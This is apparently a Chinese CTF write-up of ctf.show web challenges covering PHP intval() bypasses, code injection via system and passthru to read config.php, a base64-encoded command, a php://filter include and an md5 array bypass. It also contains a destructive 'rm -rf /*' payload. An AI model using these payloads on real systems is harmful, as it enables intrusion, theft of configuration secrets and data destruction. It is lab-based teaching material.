intval绕过

image.png
由题目可知需要获取一个id=1000,但是在代码中可以看到当>1000时会出现id error,于是有以下方法绕过intval
intval() 可以获取变量的整数值。常用于强制类型转换。

int intval( $var, $base )
  1. 当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
  2. 对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
  3. 当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
  4. 当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
  5. 当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
  6. 当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5

+号绕过

image.png
2B为+号的ASCII码

十六进制绕过

image.png

intval绕过(2)

image.png
分析源码可知出现+号会被过滤掉
故使用十六进制绕过
image.png

intval绕过(3)

image.png

分析源码可知*、+、十六进制都会被过滤
故构造payload
http://1ada3a9b-dd02-4937-9a39-0e1bc69b0a3c.challenge.ctf.show/?id=100||id=1000
image.png

intval绕过(4)

image.png
构造payload
http://1ada3a9b-dd02-4937-9a39-0e1bc69b0a3c.challenge.ctf.show/?id=100||id=1000

image.png

intval绕过(5)

image.png
http://ff478bde-5a80-48c1-aa12-ede757ccfb51.challenge.ctf.show/?id=~~1000

使用~~取反

image.png

删库

image.png

image.png
根据题目提示,直接执行rm - rf /*

http://fd1972d3-c17f-4235-8cec-64f03d367a15.challenge.ctf.show?flag=rm-rf /*
image.png

可执行代码

system执行

image.png

查看代码可知用system即可查看config.php
image.png
http://b8bff3c4-9a5b-43cd-8bfc-1fbb58c6a95e.challenge.ctf.show?c=system('cat config.php');

image.png

passthru执行

image.png
查看代码可知这几种查看config.php的方法已被过滤
故使用passthru执行绕过查看
image.png
http://b8bff3c4-9a5b-43cd-8bfc-1fbb58c6a95e.challenge.ctf.show?c=passthru('cat config.php');

image.png

more查看

image.png

过滤了cat、system、exec等
使用passthru与more
http://b8bff3c4-9a5b-43cd-8bfc-1fbb58c6a95e.challenge.ctf.show?c=passthru('more config.php');
image.png

image.png

base64绕过

image.png
观察代码可知,过滤了.、php等,所以使用base64编码绕过

http://2f7417fc-1d7a-4b45-b791-e46fff4e5dbd.challenge.ctf.show?c=$a=base64_decode('Y2F0IGNvbmZpZy5waHA=');passthru($a);
image.png

php闭合+tac绕过

image.png
观察代码发现把分号、config、php等过滤掉了,故想到使用闭合php,再看到system、cat被过滤,想到使用tac

http://1aa1d227-f0ca-4465-80ce-4cf3ad3704fe.challenge.ctf.show?c=passthru('tac confi*')?>
image.png

php伪协议

image.png

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php

image.png

php伪协议 与 POST一句话木马

image.png

伪协议

POST

POST

md5绕过

image.png

通过构造

name[]=1 && password[]=1绕过

image.png

最后修改:2023 年 08 月 05 日
如果觉得我的文章对你有用,请随意赞赏